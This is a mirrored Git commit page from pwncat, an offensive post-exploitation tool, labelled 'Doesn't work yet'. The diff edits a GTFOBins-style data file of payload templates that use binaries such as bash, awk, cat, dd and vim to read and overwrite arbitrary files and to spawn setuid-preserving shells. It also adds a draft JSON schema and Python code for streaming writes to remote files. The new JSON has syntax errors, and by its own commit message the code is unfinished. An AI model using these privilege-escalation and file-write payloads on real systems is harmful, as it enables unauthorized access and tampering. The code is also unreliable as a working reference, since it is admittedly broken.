mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-27 19:04:15 +01:00
Doesn't work yet
This commit is contained in:
parent
983f37e6d6
commit
425a3c99cd
@ -1,14 +1,7 @@
|
||||
[
|
||||
{
|
||||
"name": "cat",
|
||||
"read_file": "{path} {lfile}"
|
||||
},
|
||||
{
|
||||
"name": "cp",
|
||||
"write_file": {
|
||||
"type": "base64",
|
||||
"payload": "TF=/tmp/.pwncat; echo {data} | {base64} -d > $TF; {path} $TF {lfile}; {unlink} $TF"
|
||||
}
|
||||
"read_file": "{command} {lfile}"
|
||||
},
|
||||
{
|
||||
"name": "bash",
|
||||
@ -67,7 +60,7 @@
|
||||
"read_file": "{path} '//' {lfile}",
|
||||
"write_file": {
|
||||
"type": "base64",
|
||||
"payload": "{path} -v LFILE={lfile} 'BEGIN {{ printf \"\" > LFILE; while ((\"echo \\\"{data}\\\" | {base64} -d\" | getline) > 0){{ print >> LFILE }} }}'"
|
||||
"payload": "{path} -v LFILE={lfile} 'BEGIN {{ printf \"\" > LFILE; while ((\"echo \\\"{data}\\\" | base64 -d\" | getline) > 0){{ print >> LFILE }} }}'"
|
||||
}
|
||||
},
|
||||
{
|
||||
@ -139,30 +132,5 @@
|
||||
"payload": "{path} -p -c \"echo -n {data} | {base64} -d > {lfile}\""
|
||||
},
|
||||
"command": "{path} -p -c {command}"
|
||||
},
|
||||
{
|
||||
"name": "vim.basic",
|
||||
"shell": {
|
||||
|
||||
"need" : ["-e", "+:py3 import os; os.execl(\"{shell}\", \"{shell}\", \"-pc\", \"{reset}; exec {shell} -p\")", "+q!"]
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "vim.basic",
|
||||
"shell": {
|
||||
"need" : ["-e", "+:py import os; os.execl(\"{shell}\", \"{shell}\", \"-c\", \"{reset}; exec {shell}\")", "+q!"]
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "vim.basic",
|
||||
"shell": {
|
||||
"need" : ["-e", "+:!{shell}", "+q!"]
|
||||
},
|
||||
"read_file": "{path} {lfile} -es '+%print' '+:q!' /dev/stdin",
|
||||
"write_file": {
|
||||
"type": "base64",
|
||||
"payload": "echo {data} | base64 -d | {path} -es '+%print' '+:wq! {lfile}' /dev/stdin"
|
||||
},
|
||||
"command": "{path} -c ':!{command}'"
|
||||
}
|
||||
]
|
||||
|
81
data/gtfobins2.json
Normal file
81
data/gtfobins2.json
Normal file
@ -0,0 +1,81 @@
|
||||
{
|
||||
// Each item is a list of capabilities for this binary
|
||||
"dd": [
|
||||
{
|
||||
// This is a read capability
|
||||
"type": "read",
|
||||
// No other commands need to be executed besides the command
|
||||
// "command" exands to the binary path and any arguments provided
|
||||
// If the data needs to be dealt with earlier, you can use "{data}"
|
||||
// here.
|
||||
"payload": "{command}",
|
||||
// This is used to pass arguments to the application (auto-merged
|
||||
// into "{command}".
|
||||
"args": ["if={lfile}"],
|
||||
// Prepends arguments, if any to the "args" for setuid context.
|
||||
"suid": [],
|
||||
// Input which needs to be passed to the application. All insertions
|
||||
// work here (such as {lfile}, {command}), but also {data} if you are
|
||||
// streaming the data to the remote application.
|
||||
"input": "",
|
||||
// If needed, specify some data that must be sent to exit the remote
|
||||
// application after the read is finished.
|
||||
"exit": "{ctrl_c}",
|
||||
// This specifies how to handle the data. There can be a few
|
||||
// different values here:
|
||||
// - raw -> the data is unchanged and the controlling terminal
|
||||
// is set to raw mode for effective reading. This mode
|
||||
// requires a known data length and the command will fail
|
||||
// without it.
|
||||
// - print -> the data is unchanged, but the controlling
|
||||
// terminal is not changed to raw mode. Only printable
|
||||
// data is safe from TTY translation.
|
||||
// - base64 -> all data is converted from base64. Data sent
|
||||
// to the remote process should be in base64 form, and the
|
||||
// tty is not set to raw mode.
|
||||
// - hex -> same as base64, but base16 instead.
|
||||
"stream": "raw"
|
||||
},
|
||||
{
|
||||
"type": "write",
|
||||
"stream": "raw",
|
||||
"payload": "{command} of={lfile} oflag=count_bytes count={length}"
|
||||
"input": "{data}",
|
||||
}
|
||||
],
|
||||
// Another example
|
||||
"bash": [
|
||||
{
|
||||
"type": "shell",
|
||||
"stream": "print",
|
||||
"suid": ["-p"],
|
||||
"exit": "exit"
|
||||
},
|
||||
{
|
||||
"type": "read",
|
||||
"stream": "raw",
|
||||
"payload": "{command} -c '{cat} {lfile}'",
|
||||
"suid": ["-p"],
|
||||
}
|
||||
],
|
||||
"cat": [
|
||||
{
|
||||
"type": "read",
|
||||
"stream": "raw",
|
||||
"payload": "{command} {lfile}",
|
||||
},
|
||||
{
|
||||
"type": "write",
|
||||
"stream": "base64",
|
||||
"payload": "{base64} -d | {command} > {lfile}"
|
||||
"args": [],
|
||||
},
|
||||
{
|
||||
"type": "write",
|
||||
"stream": "print",
|
||||
"payload": "{command} > {lfile}",
|
||||
"args": [],
|
||||
"exit": "{ctrl_c}"
|
||||
}
|
||||
]
|
||||
}
|
@ -8,6 +8,7 @@ import json
|
||||
import os
|
||||
|
||||
from pwncat.privesc import Capability
|
||||
from pwncat import util
|
||||
|
||||
|
||||
class MissingBinary(Exception):
|
||||
@ -44,6 +45,8 @@ class Binary:
|
||||
self.capabilities |= Capability.SHELL
|
||||
if self.has_write_file:
|
||||
self.capabilities |= Capability.WRITE
|
||||
if self.has_write_stream:
|
||||
self.capabilities |= Capability.WRITE_STREAM
|
||||
|
||||
# We need to fix this later...?
|
||||
if self.has_shell:
|
||||
@ -74,6 +77,43 @@ class Binary:
|
||||
|
||||
return target
|
||||
|
||||
def parse_entry(self, entry, sudo_prefix: str = None, suid=False, **args):
|
||||
""" Parse an entry for read_file, write_file, or shell """
|
||||
|
||||
if isinstance(entry, str):
|
||||
entry = shlex.split(entry)
|
||||
payload = entry[0]
|
||||
args = entry[1:]
|
||||
input_data = ""
|
||||
stream_type = "print"
|
||||
exit_command = ""
|
||||
suid_args = []
|
||||
else:
|
||||
payload = entry.get("payload", "{command}")
|
||||
args = entry.get("args", [])
|
||||
input_data = entry.get("input", "")
|
||||
stream_type = entry.get("type", "print")
|
||||
exit_command = entry.get("exit", "")
|
||||
suid_args = entry.get("suid", [])
|
||||
|
||||
command = self.path
|
||||
if sudo_prefix:
|
||||
command = sudo_prefix + " " + command
|
||||
|
||||
args = [self.resolve_binaries(a, **args) for a in args]
|
||||
input_data = self.resolve_binaries(input_data, ctrl_c=util.CTRL_C, **args)
|
||||
exit_command = self.resolve_binaries(exit_command, ctrl_c=util.CTRL_C, **args)
|
||||
suid_args = self.resolve_binaries(suid_args, **args)
|
||||
|
||||
if len(suid_args):
|
||||
command = command + " " + shlex.join(suid_args)
|
||||
if len(args):
|
||||
command = command + " " + shlex.join(args)
|
||||
|
||||
payload = self.resolve_binaries(payload, command=command, **args)
|
||||
|
||||
return payload, input_data, exit_command, stream_type
|
||||
|
||||
def shell(
|
||||
self,
|
||||
shell_path: str,
|
||||
@ -277,6 +317,37 @@ class Binary:
|
||||
return False
|
||||
return result is not None
|
||||
|
||||
@property
|
||||
def has_write_stream(self):
|
||||
try:
|
||||
result = self.write_stream("test")
|
||||
except MissingBinary:
|
||||
return False
|
||||
return result is not None
|
||||
|
||||
def write_stream(self, file_path, sudo_prefix: str = None) -> str:
|
||||
""" Build a payload which will write stdin to a file. """
|
||||
|
||||
if "write_stream" not in self.data:
|
||||
return None
|
||||
|
||||
path = self.path
|
||||
if sudo_prefix:
|
||||
path = sudo_prefix + " " + path
|
||||
|
||||
if isinstance(self.data["write_stream"], str):
|
||||
command = self.data["write_stream"]
|
||||
input = None
|
||||
else:
|
||||
command = self.data["write_stream"].get("command", "{path}")
|
||||
input = self.data["write_stream"].get("input", None)
|
||||
|
||||
command = self.resolve_binaries(command, path=path)
|
||||
if input is not None:
|
||||
input = self.resolve_binaries(input, path=path)
|
||||
|
||||
return (command, input)
|
||||
|
||||
def write_file(self, file_path: str, data: bytes, sudo_prefix: str = None) -> str:
|
||||
""" Build a payload to write the specified data into the file """
|
||||
|
||||
|
@ -17,7 +17,8 @@ class Capability:
|
||||
WRITE = 2
|
||||
SHELL = 4
|
||||
SUDO = SHELL
|
||||
last = 8
|
||||
WRITE_STREAM = 8
|
||||
last = 16
|
||||
ALL = READ | WRITE | SHELL | SUDO
|
||||
|
||||
|
||||
|
@ -35,6 +35,8 @@ from pwncat import util
|
||||
from pwncat import downloader, uploader, privesc
|
||||
from pwncat.file import RemoteBinaryPipe
|
||||
from pwncat.lexer import LocalCommandLexer, PwncatStyle
|
||||
from pwncat import gtfobins
|
||||
from pwncat.privesc import Capability
|
||||
|
||||
from colorama import Fore
|
||||
|
||||
@ -1097,6 +1099,70 @@ class PtyHandler:
|
||||
|
||||
return pipe
|
||||
|
||||
def do_test(self, argv):
|
||||
|
||||
util.info("Attempting to stream data to a remote file...")
|
||||
with self.open("/tmp/stream_test", "wb") as filp:
|
||||
filp.write(b"It fucking worked!")
|
||||
|
||||
util.info("Attempting to stream the data back...")
|
||||
with self.open("/tmp/stream_test", "rb") as filp:
|
||||
print(filp.read())
|
||||
|
||||
def open(self, path: str, mode: str):
|
||||
""" Generically open a remote file for reading or writing. Does not
|
||||
support simultaneously read and write. TextIO is implemented with a
|
||||
TextIOWrapper. No other remote interaction should occur until this
|
||||
stream is closed. """
|
||||
|
||||
# We can't do simultaneous read and write
|
||||
if "r" in mode and "w" in mode:
|
||||
raise ValueError("only one of 'r' or 'w' may be specified")
|
||||
|
||||
# Allow the temp file wrapper to access the pty
|
||||
pty = self
|
||||
|
||||
if "r" in mode:
|
||||
# Simple case, we have a reader w/ GTFO bins
|
||||
reader = gtfobins.Binary.find_capability(self.which, Capability.READ)
|
||||
if reader is not None:
|
||||
print(reader.read_file(path))
|
||||
pipe = self.subprocess(reader.read_file(path), mode="rb")
|
||||
else:
|
||||
# We need to use the download functionality
|
||||
pipe = tempfile.NamedTemporaryFile("rb")
|
||||
self.do_download(["-o", pipe.name, path])
|
||||
else:
|
||||
# Writing is more complicated.
|
||||
writer = gtfobins.Binary.find_capability(
|
||||
self.which, Capability.WRITE_STREAM
|
||||
)
|
||||
if writer is not None:
|
||||
print(writer.write_stream(path))
|
||||
pipe = self.subprocess(writer.write_stream(path), mode="wb")
|
||||
else:
|
||||
# We need to use the upload functionality. We will create a
|
||||
# named temporary file which upon closing will upload itself to
|
||||
# the remote machine. This isn't perfect, but allows for
|
||||
# seemless interaction.
|
||||
pipe = tempfile.NamedTemporaryFile("wb", delete=False)
|
||||
close_method = pipe.close
|
||||
|
||||
def close_wrapper(pipe_self):
|
||||
""" This wraps the close method of the returned file object
|
||||
to ensure that we upload the file after it is closed. """
|
||||
close_method(pipe_self)
|
||||
self.do_upload(["-o", path, pipe_self.name])
|
||||
|
||||
pipe.close = close_wrapper
|
||||
|
||||
if "b" in mode:
|
||||
return pipe
|
||||
elif "r" in mode:
|
||||
return io.TextIOWrapper(io.BufferedReader(pipe))
|
||||
elif "w" in mode:
|
||||
return io.TextIOWrapper(io.BufferedWriter(pipe))
|
||||
|
||||
def raw(self, echo: bool = False):
|
||||
self.stty_saved = self.run("stty -g").decode("utf-8").strip()
|
||||
self.run("stty raw -echo", wait=False)
|
||||
|
Loading…
Reference in New Issue
Block a user